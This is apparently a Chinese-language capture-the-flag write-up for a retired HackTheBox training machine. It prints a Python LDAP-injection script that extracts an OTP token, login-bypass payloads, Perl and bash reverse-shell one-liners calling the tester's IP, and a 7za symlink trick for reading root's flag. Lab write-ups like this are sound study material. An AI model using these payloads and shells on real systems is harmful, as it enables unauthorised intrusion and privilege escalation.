zoukankan      html  css  js  c++  java
  • HTB-靶机-CTF

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.122

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.122 -o ./CTF-autorecon

    就开了两个端口,我们直接访问80端口

    根据上面提示本靶机不能暴力猜目录,所以我们不能使用dirb,gobuster之类的工具进行爆破,直接看登录界面,然后翻看网页源码

    给出了提示是含有81位字符串的token和登录的密码是OTP,关于OTP的介绍参考:https://zh.wikipedia.org/zh-cn/%E4%B8%80%E6%AC%A1%E6%80%A7%E5%AF%86%E7%A2%BC

    测试登录界面,随便输入一个账户和密码显示账户bmfx没有找到,经过漫长的测试,最终是如下模糊测试方法猜测出来了一个用户名

    wfuzz -c -w /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt --hs "not found" -d "inputUsername=FUZZ&inputOTP=9988" -u http://ctf.htb/login.php

    确认存在用户名ldapuser

    知道了用户名开始枚举出来81位字符串

    #!/usr/bin/python3
    import requests
    import sys
    
    YELLOW = "33[93m"
    GREEN = "33[32m"
    
    def send_payload(payload):
            post_data = {"inputUsername":payload,"inputOTP":"0000"}
            req = requests.post("http://10.10.10.122/login.php",data=post_data)
            response = req.text
            return response
    
    def check_response(response):
            if "Cannot login" in response:
                    return True
            else:
                    return False
    
    def exploit():
            global token
            n_list = [n for n in range(10)]
            for i in n_list:
                    payload = "%2A%29%28uid%3D%2A%29%29%28%7C%28pager%3D{}{}%2A".format(token,str(i))
                    response = send_payload(payload)
                    if check_response(response):
                            token+=str(i)
    
    token = ""
    print(YELLOW + "[*] Extracting Token")
    while len(token) != 81:
            exploit()
            sys.stdout.write("
    " + YELLOW + "[*] Status : " + token)
            sys.stdout.flush()
    else :
            print(GREEN + "
    [!] Done !")
            print(GREEN + "[*] Token : " + token)

    得出token:285449490011357156531651545652335570713167411445727140604172141456711102716717000

    这里涉及到ldap注入,具体可参考:https://xz.aliyun.com/t/5689

    最终可以通过下面测试字符进行注入绕过目标靶机的登录限制进入后台执行命令,测试字符需要进行双URL编码

    将ldapuser)))%00 进行URL编码为 ldapuser%29%29%29%00 使用此编码形式在浏览器登录可以绕过
    
    将*)(uid=*))(|(uid=* 进行URL编码为 %2a%29%28uid%3d%2a%29%29%28%7c%28uid%3d%2a 使用此编码形式在浏览器登录可以绕过

    上面是执行效果,成功话就会跳转到page.php页面,然后就可以执行命令了,具体如下

    确认执行命令没有问题,开始反弹shell,这里由于目标靶机环境较为苛刻,我们使用本地监听443端口,使用perl反弹代码或者bash反弹代码都可以

    反弹代码:

    在浏览器登录窗口上执行反弹代码
    perl -e 'use Socket;$i="10.10.14.6";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'

    拿到反弹shell之后翻看网站根目录信息,翻看到login.php存在敏感信息

    使用此账户和密码登录目标靶机的ssh端口,发现登录成功了,翻看了当前目录和根目录发现根目录有个备份文件夹,进去看了下,发现如下

    这里可以通过7za来读取root目录下root.txt 可以 通过man 7za查看到当打包备份的目录含有类似@listfile文件的时候7za会报错列出诊断信息, 此时的信息便是读取文件信息,所以我们可以尝试新建@类似的文件, 然后使用软连接的方式连接到想读取文件的位置即可,具体操作命令如下:

    touch @bmfx
    ln -s /root/root.txt /var/www/html/uploads/bmfx
    tail -f error.log

    这里操作需要通过反弹shell的环境操作,使用ldapuser的环境无法新建文件

  • 相关阅读:
    c# web开发
    向wp8开发进军
    练毛笔字的心得
    刚开通博客园
    DevExpress Asp.net(3) ASPxCallback组件
    DevExpress Asp.net(2) ASPxObjectContainer说明
    DevExpress Asp.net(1) ASPxButton的基本使用
    JavaMail学习笔记(四)、使用POP3协议接收并解析电子邮件(全)
    Java正则表达式(一)、抓取网页email地址实例
    JavaMail学习笔记(五)、使用IMAP协议接收并解析电子邮件
  • 原文地址:https://www.cnblogs.com/autopwn/p/14184178.html
Copyright © 2011-2022 走看看